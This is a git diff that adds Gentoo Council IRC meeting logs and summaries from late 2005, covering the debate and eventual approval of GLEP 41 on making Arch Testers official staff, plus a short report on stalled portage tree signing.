+16:11 <@agriffis> ChrisWhite: thanks for volunteering, though.
+16:11 <@Koon> ferringb|afk: thing is, the list page does not reflect the /proj directory contents
+16:11 < ChrisWhite> agriffis: I'm a documentation sucker
+16:11 <@Koon> ferringb|afk: but we are working on it
+16:11 < ChrisWhite> agriffis: it's what I do ;p
+16:11 <@Koon> it's somewhere in my giant TODO list
+16:12  * ferringb|afk notes posting what is needed to be done might be wise (be lazy, delegate)
+16:12 < ChrisWhite> agriffis: hopefully that summary won't turn into a huge thread :P
+16:13 <@Koon> ferringb|afk: about elections, I think each project should do as they want, the council shouldn't intervene unless there are complaints from project members about their leads or something
+16:13 <+ferringb|afk> inactive leads come to mind.
+16:13 < ciaranm> inactive and incompetent leads
+16:13 <@Koon> ferringb|afk: good example
+16:13 <+ferringb|afk> regardless, the doc states it as every 12 months
+16:14 <+ferringb|afk> so... change it, or follow it :)
+16:14 <@Koon> members can call vote, if inactive lead doesn't show up...
+16:14 <@agriffis> question regarding mailing lists: follow ups to the meeting summary should go to gentoo-council, similar to nfp business on gentoo-nfp, right?
+16:14 <@agriffis> should I post the summary on gentoo-dev at all?
+16:14 <@Koon> agriffis: not sure gentoo-council is open/advertised yet
+16:14 < ciaranm> is gentoo-council open for subscription and archive?
+16:15 < ChrisWhite> post something to -dev telling them to followup at -council
+16:15 < ChrisWhite> with maybe a gmane thread link if that's possible..
+16:15 <@Koon> agriffis: in doubt, use -dev
+16:15 <@Koon> OK, I'll have to go, sleep tight
+16:16 <+ferringb|afk> don't spose someone could clarify exactly how a group of people (or singular) get classified as a project also...
+16:16 <@Koon> grant's glep is quite clear about it
+16:16 <+g2boojum> ferringb|afk: That one's in the GLEP -- they create a project page.
+16:16 <@Koon> a project is a group of people maintaining a project page :)
+16:17 <+ferringb|afk> g2boojum: getting at the fact there is no filter on it.
+16:17 <@Koon> example, the "Apache" project ! http://www.gentoo.org/proj/en/apache/
+16:18 <@agriffis> ciaranm: gentoo-council is open for subscription
+16:18 <@Koon> ok, I really have to go and get completely drunk
+16:18 -!- Koon [n=koon@gentoo/developer/Koon] has quit ["*plop*"]
+16:18 <+g2boojum> ferringb|afk: That's by design.  If it becomes a problem, then people can get the council involved.
+16:19 -!- spb- [n=spb@gentoo/developer/spb] has joined #gentoo-council
+16:19 <+ferringb|afk> 'spose, although seems a bit iffy; reactive, potential damage/problems can already be created.
+16:20 -!- SwifT [n=swift@gentoo/developer/swift] has quit [Read error: 110 (Connection timed out)]
+16:20 <+ferringb|afk> g2boojum: ignore my comments; just thinking about avoiding drama down the line if people abuse open setups.
+16:20 <+g2boojum> ferringb|afk: k  *Grin*
+16:21 -!- g2boojum [n=grant@gentoo/developer/g2boojum] has left #gentoo-council []
+16:21 <@vapier> dont worry, we ignore you well enough ferringb|afk
+16:21 -!- spb__ [n=spb@gentoo/developer/spb] has quit ["."]
+16:27 -!- ferringb|afk [n=bharring@gentoo/developer/ferringb] has left #gentoo-council ["back to work foo"]
+16:29 -!- Maedhros [n=jc@i-195-137-43-74.freedom2surf.net] has left #gentoo-council []
+16:30 -!- hparker [n=hparker@gentoo/developer/hparker] has left #gentoo-council ["telnet://bbs.homershut.net"]
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20051013-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20051013-summary.txt
new file mode 100644
index 00000000..17196896
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20051013-summary.txt
@@ -0,0 +1,8 @@
+- Review of GLEP 41 (Making Arch Testers official Gentoo Staff).  It was
+  rejected due to the following criticisms:
+   * AT's should get an e-mail address on a subdomain (user@xxx.gentoo.org)
+   * AT's should get r/o access to livecvs
+   * a longer probation period to make sure they know their way around
+   * either they get same privileges as current "staff", or they get a new
+     classification other than "staff" or "dev" (voting, access to resources,
+     etc...)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20051013.txt b/xml/htdocs/proj/en/council/meeting-logs/20051013.txt
new file mode 100644
index 00000000..a45f2603
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20051013.txt
@@ -0,0 +1,341 @@
+15:05 <@az> ok, first and only thing on the agenda, is GLEP 41 (Making Arch Testers official Gentoo Staff)
+15:05 <@vapier> http://www.gentoo.org/proj/en/glep/glep-0041.html
+15:05 <@az> vapier: except if you wanted to add the syslog thing still ?
+15:06 <@vapier> i think everyone in base said we got better things to do then fight over something that trivial
+15:06 <@vapier> mr bones is dependable, so just going to syslog-ng should be fine
+15:06 <@Koon> I'll let that to the "base" project
+15:06 <@az> i dont care either way, as i just merge what i use, but guess we should just ask SwifT to pretty please fix the docs either way
+15:06 <@SwifT> about the AT... as I voiced before on -council, the two week period seems a bit too short to me personally
+15:06 <@seemant> wait wait wait
+15:07 <@seemant> how does syslog thing relate to glep 41?
+15:07 <@az> ok, back to glep 41 ;p
+15:07 <@seemant> I'm completely confused
+15:07 <@seemant> ah
+15:07 <@Koon> seemant: it's just az not chairing properly :)
+15:07 <@seemant> ok, if syslogging isn't an issue, I'm more or less ok with glep41 -- with one change
+15:07 -!- mode/#gentoo-council [+v blubb] by vapier
+15:07 <@az> ok, back to glep 41!
+15:07 <@seemant> I propose 2 weeks mentoring period to be "minimum 2 weeks" instead
+15:08 <@SwifT> gdp uses two months...
+15:08  * agriffis raises his hand
+15:08 <@SwifT> security 4 iirc
+15:08 <@az> im pretty much in agreement with the period as well
+15:08 <@seemant> because even as an arch tester, I don't know that people are guaranteed to get the necessary ebuild training
+15:08 <@Koon> security uses 4-6 yes
+15:08 <@az> and solar have some issues as well
+15:08  * agriffis lowers his hand and talks out of turn
+15:08 <@seemant> agriffis: talk to us, baby
+15:08 <@agriffis> I'm not in favor of GLEP 41 actually.
+15:08 <@az> he said either his vote is no if no changes, or asks for a postponement
+15:08 <@agriffis> I don't like the concept of half-devs.
+15:09 <@SwifT> who sais half-dev?
+15:09 <@Koon> agriffis: we already have them in the form of forum staffers
+15:09 <@SwifT> to me, they seem like full devs but with no write access to gentoo-x86...
+15:09 <@SwifT> which, afaik, is not mandatory to be called a "real dev" :)
+15:10 <@agriffis> yeah, I'm not sure, I suppose my thought is breaking precedent that is set with the forum staffers.
+15:10 <@agriffis> have patience, I'll try to get my thoughts out.
+15:11 <@Koon> ..
+15:11 <@agriffis> basically, you're just *calling* them full devs, but they're not.  they don't have cvs write.  they don't have voting privs.  they don't have access to -core.
+15:11 <+blubb> (could you please +v hparker? it was his idea and he's the AT lead, i just wrote the GLEP)
+15:11 <@agriffis> Forums devs are full devs -- they can vote, and they are on -core, etc, just w/ no write-access to cvs.
+15:11 -!- mode/#gentoo-council [+v hparker] by Koon
+15:12 <@agriffis> So basically we have two kinds of full devs presently.
+15:12 <@agriffis> Those with and those without write access.
+15:12 <+hparker> ty Koon
+15:12 <@agriffis> You're proposing adding a third type with even less access, but still wanting to call them "full devs"
+15:12 <@Koon> agriffis: it's alittle more complicated. Security devs are special
+15:12 <@agriffis> Koon: ah, you're right, so we have 3 and we're adding a 4th
+15:13 <@Koon> agriffis: yes
+15:13 <@agriffis> I would rather just see ATs recognized as power users who are reporting bugs.  I would like to see them with r/o cvs access.  I don't see the point in calling them "full devs", giving them an email address, etc.
+15:13 <@seemant> Koon: can you outline what's special about sec. devs please?
+15:13 <@seemant> (for the record, as it were)
+15:13 <@az> dont we have some documentation guys without cvs access as well ?
+15:13 <@Koon> seemant: no gentoo-x86 access, GLSA commit access, gentoo-announce access
+15:13 <@SwifT> az: only those in recruitment
+15:14 <@az> SwifT: noted, thanks
+15:14 <@agriffis> Regarding the r/o cvs access, that can be accomplished without needing accounts on our infrastructure, it's a pretty simple matter really.
+15:14 <@agriffis> I don't mean to be the one voice against, and if I am, I'll willingly back down.
+15:14 <@agriffis> I'm just not happy with introducing so many different dev types with different levels of access, some can vote, some can't, etc.
+15:15 <@vapier> we already mentioned the e-mail thing
+15:15  * agriffis sits back down
+15:15 <@vapier> blubb seemed to be ok with using a sub-domain since SwifT and i did like giving them top-level ones
+15:15 <@SwifT> I do agree that, if they have a title that contains "dev(eloper)", they should have the voting rights as other developers have (like council voting, ...)
+15:15 <@Koon> agriffis: I agree wit hyou that "gentoo dev" should cover a minimal commitment requirement and basic things like core access and e-mail address (and #-dev op etc)
+15:15 <@vapier> the glep says staff, not developer
+15:15 <@vapier> specifically for this reason
+15:16 <@az> agriffis: i *think* the main thing about them having @g.o emails, is to show them some form of apprciation, or achievement if you want for the work they do (hparker/blubb can correct me) ... this said, is one of the main reasons i think the training period might be fine, but there should be an additional 1-3 month evaluation time
+15:16 <@Koon> I am concerned that people not willing to contribte more are given a second-rate dev class
+15:16 <@Koon> if they are needed we need to find some kind of retribution, secondary email domains might be the solution
+15:17 <+blubb> az: correct :)
+15:17  * agriffis doesn't understand how @....gentoo.org is a reward
+15:17 <@SwifT> if they are needed, getting them on-board as developers is good for me as well
+15:17 <@agriffis> I don't know who that would appeal to.
+15:17 <@SwifT> I mean, actively testing packages is a daunting task
+15:17 <@az> which might bring in additionally some improvement in general developer quality/dependability if you enforce being an accepted AT before being able to become a developer
+15:17 <@agriffis> I suppose it's good for gentoo devs to be able to recognize ATs via their email addresses, but I don't think it's really a reward of any sort to have a gentoo address, particularly with a subdomain.
+15:18 <@Koon> good ATs are offered to become full devs, if they refuse they remain ATs
+15:18 <+blubb> there are users (just normal users) who got a @g.o mail address, which kinda astonished me...
+15:18 <@agriffis> blubb: huh?
+15:18 <+blubb> agriffis: one of them is an amd64 AT
+15:18 <@Koon> -infra boyfriends ?
+15:18 <@az> blubb: clarify ?
+15:18 <@SwifT> I think the few non-devs that have @g.o are an exception which hasn't been granted in a while afaik
+15:18 <+hparker> The @*.g.o address also makes it easier to spot them in bugz
+15:19 <+blubb> agriffis: i asked him how he got that mail addy, and he said there once was a period where power users got a @g.o addy
+15:19 <@Koon> also @amd64.gentoo.org doesn't sound too bad
+15:19 <@agriffis> hparker: true, and that might be a good reason to consider it.  but not on the basis of reward imho
+15:19 <+blubb> Koon: i'm against $(arch).g.o
+15:19 <+hparker> Even @at.g.o
+15:19 <+hparker> blubb wants @@.g.o
+15:19 <@vapier> the specific name doesnt really matter, just the concept of using a subdomain
+15:19 <+blubb> *g*
+15:20 <+blubb> vapier: agreed
+15:20  * agriffis nods
+15:20 <@agriffis> ok, so to sum up:
+15:20 <@Koon> vapier: would it include a touca account ?
+15:20 <@Koon> toucan
+15:20 <+blubb> just please don't make it $(arch). that will lead to confusion
+15:20 <@SwifT> anyone heard the voice of an active AT about his/her opinion?
+15:20 <@az> Koon: think taht will depend on if infra can host annon cvs or not
+15:21 <@agriffis> az: I've been talking with carpaski about that.
+15:21 <@az> last time we asked, they did not have the infrastructure/bandwidth if i remember
+15:21 <@agriffis> az: It's not necessary to give out accounts on toucan or cvs.gentoo.org for the ATs to get r/o access.
+15:21 <+hparker> SwifT: We've discussed it with the amd64 ATs, they are ok with it all
+15:21 <@az> agriffis: from carpaski's servers via the cvsup thing ?
+15:22 <@agriffis> az: They can just provide their id_dsa.pub which goes in a general arch-tester user's allowed keys, then they get r/o access as a single user.
+15:22 <@SwifT> hparker: the glep, or the subdomain, or any of them?
+15:22 <@az> ah, ok
+15:22 <+hparker> SwifT: The whole package ;)
+15:22 <@agriffis> az: I also talked with carpaski about cvsup and stuff, yes, but nothing that's helpful for this topic.
+15:23 <@az> true, just wanted to know if we could do it some way or other
+15:23 <@Koon> so they wouldn't be considered "Gentoo devs" if I understand the consensus here
+15:23 <@SwifT> afaik, we're talking about a few dozen people, no?
+15:23 <@az> ok, anybody have anything to say regarding my '2 weeks training is fine, but might need an additional evaluation period' ?
+15:23 <@Koon> no core, no vote, subdomain
+15:23 <@Koon> I would say 1 month minimal
+15:23 <@az> to make sure they do not dissapear after 3 weeks
+15:24 <@Koon> we had plenty of people that can stay very active for 2 weeks and then disappear (in security)
+15:24 <@SwifT> you can't "make sure" about that, but the recruitee knows that we are expecting continuous support and not a short burst
+15:25 <@SwifT> the GDP had the same... lots of activity, then developer-status and *poof*, goner
+15:25 <+hparker> SwifT: Currently, a couple dozen... Hoping for more though
+15:25 <@az> yes, but sombody sticking around 1-3 months is more likely to stay for another few
+15:25 <@seemant> az: I stand by "minimum 2 weeks"
+15:25 <@agriffis> btw, if a user becomes an AT then wants to be a dev, is it a longer road than simply becoming a dev directly?
+15:25 <@SwifT> longer? naha, hope not :)
+15:25 <+blubb> agriffis: with the proposal in the GLEP, i'd be exactly the same period
+15:25 <@agriffis> blubb: ok, thanks
+15:26 <@az> agriffis: which comes to my next point .. maybe enforcing being at before being able to become a dev ?
+15:26 <+blubb> agriffis: that's actually why we included it... we don't want to punish ATs
+15:26 <+hparker> az: That's how amd64 handles it
+15:26  * SwifT doesn't like taht
+15:26 <@Koon> az: a lot of people enter by co-maintaining package, not arch testing
+15:26 -!- code|work [n=code@gentoo/developer/codeman] has joined #gentoo-council
+15:26 <@SwifT> or documentation, or infrastructure, ...
+15:26 <@az> true, why i was asking for opinions
+15:27 <@az> it obviously would not work for docs
+15:27 <@az> yeah
+15:27 <+blubb> Koon: well, you don't get into an arch team by co-maintaining packages :D
+15:27 <@Koon> az: before becoming an arch member, sure
+15:27 <@vapier> we already have read-only cvs stuff being exported by carpaski ...
+15:27 <@agriffis> vapier: updated once every 3 hours... not useful
+15:28 <@vapier> hrm, true
+15:28 <@SwifT> well, viewcvs is also an (hourly) export, but infra doesn't like people updating from viewcvs
+15:28 <@agriffis> also if we were to use that, I would definitely not suggest giving ATs official status and telling them to use an unofficial server.
+15:28 <@Koon> ok, let's focus, maybe each council member can in turn sum up what needs to be changed in the GLEP so that he accepts it ?
+15:29 <@agriffis> SwifT: yeah, and rsync isn't far behind that.  I think the point here is for ATs to be able to test stuff immediately after it is committed.
+15:29 <@agriffis> should we go in alpha order?
+15:29 <@az> sure
+15:29 <@Koon> agriffis: good idea
+15:30 <@az> agriffis: first if not mistaken
+15:30 <@agriffis> ok, guess it's me.
+15:30 <@agriffis> I'd like to see subdomain and r/o access without needing an account on toucan, cvs.gentoo.org, etc.
+15:31 <@agriffis> i.e. subdomain for email.
+15:31 <@az> right
+15:32 <@az> im ok with what agriffis said, and i really think an probation peroid after the training phase is completed should be considered
+15:32 <@az> Koon: ?
+15:33 <+hparker> az: Probation after becoming an at?
+15:33 <@az> no, before .. to see if they learnt the ropes ok
+15:33 <@Koon> what agriffis said + a specific designation for this class of contributors (other than "dev" or "staff")
+15:33 <@az> seemant: ?
+15:33 <@Koon> + a longer training/probation period (1 month of activity minimum)
+15:34 <@seemant> combine agriffis + koon's last sentence
+15:34 <@Koon> + open this class to other contributors (security GLSA drafters come to mind)
+15:34 <@seemant> I don't want to guarantee a 2 week mentorship (or any fixed period)
+15:34 <@az> ok, SwifT ?
+15:34 <@SwifT> I don't want the AT staff to be treated differently wrt. permissions than forum staff (except for domain-specific stuff of course)... I don't mind the subdomains though. The 2-week period should be lengthened a bit
+15:35 <@az> SwifT: the 'to be treated differently wrt. permissions' meaning voting ?
+15:35 <@SwifT> so either get the perms for "staff" on the same level, or call them differently
+15:35 <@Koon> SwifT: forum staff is official devs (core + vote), no ?
+15:35 <@Koon> hence my call for a specific designation
+15:35 <@agriffis> One more thought: perhaps the subdomain should be staff.gentoo.org to accomodate arch-testers, herd-testers, glsa-drafters, etc.
+15:36 <@SwifT> Koon: yes
+15:36 <@agriffis> Obviously people with existing @gentoo.org addresses don't need to change to staff.gentoo.org, they're grandfathered in.
+15:36 <@az> bit late though to change it for the forum guys
+15:36 <@az> ok, we can touch that again just now
+15:36 <@az> vapier, anything to add ?
+15:37 <@vapier> nope, others covered it
+15:37 <@Koon> I'm a bit concerned about ATs becoming devs and forced to update their email, but I guess that's secondary
+15:37 <@vapier> give em temp forwards
+15:37 <@az> right, anything else on the point SwifT touched ?
+15:37 <@agriffis> Koon: not an issue, really, just give them a forward
+15:37 <@agriffis> right
+15:37 <@az> SwifT: especially, do you just mean they should not be called devs, or do you think they need voting as well ?
+15:38 <@SwifT> az: either be called "devs" and get voting, or call them different
+15:38 <@SwifT> but I actually don't really mind... depends on what the ATs themselves want
+15:38 <@Koon> az: I would go for two big classes, "devs" with core, vote and commit somewhere, and "XXX" without core, without vote, and with r/o access
+15:39 <@az> i think Koon touched that in ' + a specific designation for this class of contributors (other than
+15:39 <@az>                 "dev" or "staff")'
+15:39 <+blubb> az: i think they shouldn't get voting rights without having to read -core, and they don't want to have to wade through tons of mails, so...
+15:39 <+hparker> And the one's we talked with were fine with that
+15:40 <@az> right, i am thinking that should be fairly that
+15:40 <@agriffis> Koon: btw, I would really like that (two big classes)
+15:40  * SwifT too
+15:40 <@az> we can either decide on the 'class' name now
+15:40 <@SwifT> and don't diversitate anymore :)
+15:40 <@agriffis> diversify
+15:40 <@Koon> when i say r/o access, it might be other special power (forum mod, GLSAMaker access...)
+15:40 <@az> or as it seems we will have to postpone voting on this anyhow, give hparker and blubb a time to ponder it ?
+15:41 <@SwifT> whatever :p
+15:41 <+blubb> az: well, i can update the GLEP within a few minutes and you can vote on a specific cvs revision ;)
+15:41 <@agriffis> az: hour isn't up, we can keep talking it over now if it's ok
+15:42 <@az> agriffis: sure, just feeling the water
+15:42 <@az> ok, i we had two suggestions up to now if not mistaken
+15:42 <@Koon> ideas for the "class" name ?
+15:42 <@Koon> "minions"
+15:42 <@az> staff or something else
+15:43 <+blubb> ATs?
+15:43  * agriffis looks in the thesaurus
+15:43 <@SwifT> llamas
+15:43 <@az> blubb: too specific
+15:43 <+blubb> hrm, true
+15:43 <@az> spb would like minions though
+15:44 <@Koon> the problem with "staff" is that some people consider as "staff" all devs that don't have gentoo-x86 commit
+15:44 <@SwifT> kewl, I'm staff :)
+15:44 <@Koon> "monkeys" ?
+15:44 <@agriffis> conspirators
+15:44 <@Koon> SwifT: I was, but I bribed some devrel member
+15:44 <@SwifT> samaritan ?
+15:44 <+blubb> call them assistants ;)
+15:44 <+blubb> "Hi, I'm your dev assistant. It looks like you're trying to test a package. May I help you?"
+15:44 <@SwifT> lol
+15:45 <@SwifT> coadjutrix?
+15:45 <@agriffis> cows
+15:45 <+hparker> moo
+15:45 <+blubb> any relation to microsoft products is pure accident
+15:45 <@az> heh, ok, back on track please ;p
+15:45 <@vapier> no one likes the label 'Tester'
+15:45 <@vapier> Official Gentoo Tester
+15:46 <@agriffis> staff is fine with me, does anybody really have a problem with it?
+15:46 <@Koon> vapier: kinda excludes other uses for the class, like our security apprentices whoi draft GLSAs
+15:46 <@SwifT> no, staff is fine... what about the current "staff" who are actually full devs? :)
+15:46 <@Koon> agriffis: see my concern above
+15:47 <@az> supportstaff ? ;p
+15:47 <@agriffis> Koon: yeah, I saw it, I don't know if it's really an issue though...  perhaps it is.
+15:47 <@agriffis> crew
+15:47 <@vapier> be part of the gentoo crew ? :p
+15:47 <@az> bit korney, but might work ;p
+15:47 <@Koon> agriffis: it probably isn't. We /make/ policy here
+15:47 <@SwifT> or just don't call them anything and give them at.gentoo.org e-mail addies
+15:48 <@vapier> Tester Staff ... Security Staff ... Infra Staff ... Forums Staff
+15:48 <@vapier> Staff Staff
+15:48 <+blubb> the subdomain and the naming should match IMHO
+15:48 <@agriffis> SwifT: nah, I personally think the name is important.  just like it means something to be a "dev", there needs to be a real name for these people, especially if it's the only other big bucket
+15:48 <@SwifT> lieutenant?
+15:49  * agriffis likes crew personally
+15:49  * Koon fires up Google sets to the rescue
+15:49 <+blubb> SwifT: larry the cow looks to peaceful to introduce military names ;)
+15:49 <@vapier> Tester Crew ... Security Crew ... Infra Crew ... Forums Crew
+15:49 <@agriffis> vapier: right!
+15:49 <@az> forum screw
+15:49 <@agriffis> heh
+15:49 <@SwifT> but crew... even developers are crew members
+15:50 <@vapier> Developers
+15:50 <@az> developers are staff as well if you go by that argument
+15:50 <@SwifT> which is, actually, a good way of talking about a group :)
+15:50 <@SwifT> crew= entire lot, developers= -core flamers
+15:50 <@az> ++ on the flames
+15:50 <@az> ok, i dont have an issue with either crew or staff
+15:51 <@az> so anybody that have issues with staff, how does crew sound ?
+15:51 <@SwifT> peachy
+15:51 <@vapier> we could just keep 'staff' and just qualify it
+15:51 <@SwifT> I mean, good
+15:51 <@Koon> sounds like "screw", I like it
+15:51 <@agriffis> I like staff better personally, but if people don't like staff, crew is good.
+15:51 <@agriffis> (I know I suggested crew, it was because some people didn't like staff...1)
+15:51 <@vapier> we can save crew for when we start to recruit pirates
+15:51 <@Koon> well, we can keep "staff", just make sure that what was once named staff is not whet the new staff is
+15:52 <@vapier> Koon: there wont be a "staff"
+15:52 <@vapier> there will be "tester staff"
+15:52 <@agriffis> and a "vapier staff"
+15:52 <@agriffis> jk
+15:52 <@Koon> okok
+15:53 <@agriffis> g2boojum has a comment I'd like him to speak here.
+15:53 <@Koon> I guess the GLEP now needs heavy rewriting
+15:53 <+g2boojum> Personally, I suggest you folks just vote on the existing GLEP.  You've already voiced your comments, so let the community go back to it and draft new solutions.
+15:53 <@az> g2boojum: go ahead please
+15:53 <@Koon> maybe under the form of a more global dev/staff definition
+15:53 <@Koon> I'd reject the GLEP under its current form
+15:54 <@Koon> and call for a new, more global GLEP
+15:54 <+g2boojum> It's not necessary to fix everything right now.  It can wait another month for a new, hopefully improved version.
+15:54 <@agriffis> Thanks g2boojum.
+15:54 <@az> question though .. should we vote now then ?
+15:54 <@agriffis> az: yes, that's the idea
+15:54 <@Koon> az: yes, we can't vote on somethig that's not written
+15:54 <@az> as solar's current vote is no, except on postponement
+15:54 <+hparker> Koon: Will it then be Gelp 42, the answer to all questions?
+15:54 <@SwifT> well, in its current form, "no"
+15:55 <@Koon> hparker: I hope so
+15:55 <@az> and i think thiings might have changed sufficiently for him to be able to reconsider
+15:55 <@SwifT> 42?
+15:55 <@Koon> I was kinda hoping our -core/-dev MLs refurbishment would be GLEP 42
+15:55 <@SwifT> ah, that :)
+15:55 <@Koon> the answer to all spam
+15:55 <@agriffis> let's collect votes on 41 before talking 42, eh?
+15:55  * agriffis votes no to 41
+15:55  * az votes no
+15:55  * az proxy no for solar
+15:56 <@SwifT> (btw, "no" is not "don't go there" but rather "update it a bit")
+15:56 <@agriffis> right
+15:56 <@az> yes
+15:56  * Koon votes no (as in "update more")
+15:56 <@az> seemant: ?
+15:56  * vapier jumps on the 'no;needs-update' pig pile
+15:56 <@az> SwifT: ?
+15:57 <@SwifT> no, needs update
+15:57 <@agriffis> do blubb and hparker understand the updates we want to see?
+15:58 <+hparker> agriffis: Yes
+15:58 <+blubb> agriffis: yup
+15:58 <@agriffis> ok, good
+15:58 <@Koon> az: Q&A ?
+15:58 <@az> waiting for seemant still, but while we do, ferringb wanted to mention something regarding the classes
+15:58 <@az> Koon: yeah
+15:58 -!- mode/#gentoo-council [+v ferringb] by az
+15:58 -!- mode/#gentoo-council [-m] by Koon
+15:59 <+ferringb> heh, timing++ :P
+15:59 <+ferringb> comment was that the arbitrary grouppings don't really fit well; consider portage devs, doc devs, etc.  are they devs under the proposed grouping, which seems a bit gentoo-x86 orientated, or staff?
+15:59 -!- Koon changed the topic of #gentoo-council to: Meeting today at 1900UTC (1500EST) || open Q&A
+15:59 <+ferringb> staff doesn't exactly fit perfectly obviously.
+16:00 <@Koon> ferringb: if you commit somewhere, you are dev
+16:00 <@SwifT> contribute, participate on -core and have vote, then you're a dev
+16:01 <+ferringb> Koon: forums are staff, yet they're effectively 'commiting' via thread mangling :P
+16:01 <@vapier> stupid
+16:01 <+ferringb> heh
+16:01 <@SwifT> but, mind you, the term "developer" is for the foundation
+16:01 <+ferringb> figured that response.  was trying to point out that pure write access is kind of an iffy delimiter.
+16:01 <@Koon> ferringb: forum mods should be staff
+16:01 -!- mkay [i=aye@gentoo/developer/mkay] has joined #gentoo-council
+16:01 <@Koon> IMHO
+16:02 <@vapier> they are staff last i checked
+16:02  * ferringb agrees in that scenario
+16:02 <@Koon> vapier: no, they are devs, they are on core iirc
+16:02 <@vapier> weak !
+16:02 < mkay> hmm - i've got strange feeling i'm late;>
+16:02 <+blubb> just a general thought about this naming discussion: we really shouldn't overrate the classes. it'd kinda piss me off if staff feels like mr. nobody and dev has half-god status
+16:03 <@az> they should not, but like anything if mr. nobody dev makes a valid point, they should respect that due to his hopeful more experience
+16:03 <@agriffis> blubb: I think everybody agrees with you.  It's just easier to start with two big buckets as a starting point to define responsibilities and privileges.
+16:03 <+blubb> agriffis: sure
+16:03 <@agriffis> blubb: rather, I agree with you, I don't know what everybody else thinks :-)
+16:04 <+ferringb> blubb: agreed on that... rather see devs on effectively equal footing, rather then the current non-stinking poo that occurs with some devs.
+16:04 <@Koon> blubb: I just want a clear definition so that we can stick more in
+16:05 <@Koon> I've to go
+16:06 <@agriffis> ok, good time to end the log
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20051115-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20051115-summary.txt
new file mode 100644
index 00000000..03ec5704
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20051115-summary.txt
@@ -0,0 +1,29 @@
+The authors of GLEP #41 made the changes to the GLEP's wording as
+requested by the council during October's meeting.  Thus, it was brought
+to vote.  Before I relieve you of the suspense of the vote's outcome,
+let me say that a policy decision also came about as a result of last
+night's vote.
+
+GLEP 41 was never resubmitted to this mailing list (gentoo-dev) after
+the wording changed.  Most of the council members were uncomfortable
+with this idea.  That was the first and *only* time the council will
+vote that way again.  Following this, every resubmission must be
+discussed on -dev for 7 days minimum before being resubmitted to the
+council 7 days before that meeting.
+
+As such, GLEP 41 was voted in by majority (only one dissenting vote).
+The subdomain for the arch tester email aliases has not been decided (it
+is beyond the scope of the council's role in the GLEP).
+
+
+The last agenda item was a summary of the progress of portage signing as
+presented by Marius Mauch (genone).  The story is dismal -- no progress
+has really been made because nobody has taken ownership of implementing
+it yet.  Thus, the Council decided that its members would scratch the
+beginnings of the GLEP together and forward that GLEP to the original
+participants/proposers in the prior discussion (which was carried out
+last year under the old metastructure management).  From there the GLEP
+will be presented to -dev for discussion before the Council takes
+further action on it.  The Council has agreed to forward their scratch
+GLEP to the original proposers/partcipants before December's Council
+meeting.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20051115.txt b/xml/htdocs/proj/en/council/meeting-logs/20051115.txt
new file mode 100644
index 00000000..066a3b52
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20051115.txt
@@ -0,0 +1,248 @@
+15:00 -!- seemant [n=trinity@gentoo/developer/seemant] has joined #gentoo-council
+15:00 -!- Topic for #gentoo-council: Meeting starts at 2000 UTC today
+15:00 -!- Topic set by Koon [] [Tue Nov 15 12:05:31 2005]
+15:00 [Users #gentoo-council]
+15:00 [@Koon ] [@vapier  ] [ code|work] [ FuzzyRay] [ spb ] 
+15:00 [@solar] [+g2boojum] [ cryos    ] [ genone  ] [ tove] 
+15:00 [@SwifT] [ agaffney] [ ferringb ] [ seemant ] [ Zr40] 
+15:00 -!- Irssi: #gentoo-council: Total of 15 nicks [4 ops, 0 halfops, 1 voices, 10 normal]
+15:00 -!- mode/#gentoo-council [+o seemant] by ChanServ
+15:00 <@seemant> hi everyone
+15:00 -!- Channel #gentoo-council created Wed Nov  9 05:09:05 2005
+15:00 -!- Irssi: Join to #gentoo-council was synced in 11 secs
+15:00 <@seemant> is everyone present?
+15:00 <@solar> azarah was active about 3 mins ago
+15:00 <@Koon> Dr Kulleen
+15:00 <@seemant> dr. Koon
+15:00 <@Koon> greetings
+15:01 <@solar> erp 15 mins ago now that I double check
+15:01 <@Koon> agriffis missing
+15:01 <@vapier> booga
+15:02 -!- az [n=ms@gentoo/developer/azarah] has joined #gentoo-council
+15:02 -!- mode/#gentoo-council [+o az] by ChanServ
+15:04 <@seemant> let's give agriffis 2 more minutes
+15:07 <@Koon> and.. one slacker point goes to...
+15:07  * SwifT points to oblivion
+15:07 <@seemant> agriffis
+15:08 <@seemant> let's start the meeting
+15:08 -!- mode/#gentoo-council [+m] by seemant
+15:08 <@seemant> right, hello everyone
+15:08 <@seemant> this is the November meeting of the Gentoo Council
+15:08 <@seemant> and our agenda items are:
+15:08 <@seemant> 1. Voting on GLEP 41 (requested hparker)
+15:09 <@seemant> 2. Portage Tree signing status (requested by genone)
+15:09 <@seemant> 3. Q&A (open floor)
+15:09 <@seemant> so let's begin, shall we?
+15:09 <@Koon> (genone and/or g2boojum)
+15:09 <@seemant> Koon: ah, true
+15:09 <@Koon> shoot
+15:09 <@seemant> s/\(genone\)/\1 and g2boojum/
+15:09 <@seemant> right, so let's begin with Agenda Item #1: GLEP 41
+15:10 <@seemant> do I hear 10 dollars?
+15:10 <@seemant> kidding -- the issue is that this GLEP was presented to the council during October's meeting
+15:10 <@seemant> and the Council members requested a number of changes made
+15:10 <@Koon> one question is "should have it been resubmitted to dev for discussion before we vote"
+15:10 <@seemant> the latest version of the GLEP document reflects those changes
+15:11 <@seemant> yes, what Koon said
+15:11 <@Koon> I answer no, since only the mandated changes are in , but YMMV
+15:11 <@Koon> diff at http://tinyurl.com/bmsee
+15:11 <@seemant> I feel that, to be consistent, -dev should have seen it before we got it
+15:12 <@vapier> looks like all the concerns brought up previously have been addressed
+15:12 <@vapier> but yeah, i dont like the idea of making changes and then going back for vote without going through -dev without an announcement
+15:12 <@Koon> having it wait another month just sounds not nice to me
+15:12 -!- kito [n=kito@gentoo/developer/kito] has joined #gentoo-council
+15:12 <@vapier> and there is that
+15:12 <@seemant> Koon: I agree with that as well
+15:13 <@vapier> we could vote on this now and then mandate that in the future, all GLEP changes must be announced before being voted on
+15:13 <@seemant> Koon: however, we wind up on a slippery slope (because yes the changes are trivial, and exactly what the council requested)
+15:13 <@seemant> but strictly speaking, the community should have been notified of those changes
+15:13 <@vapier> make an exception since this is the first time it's come up
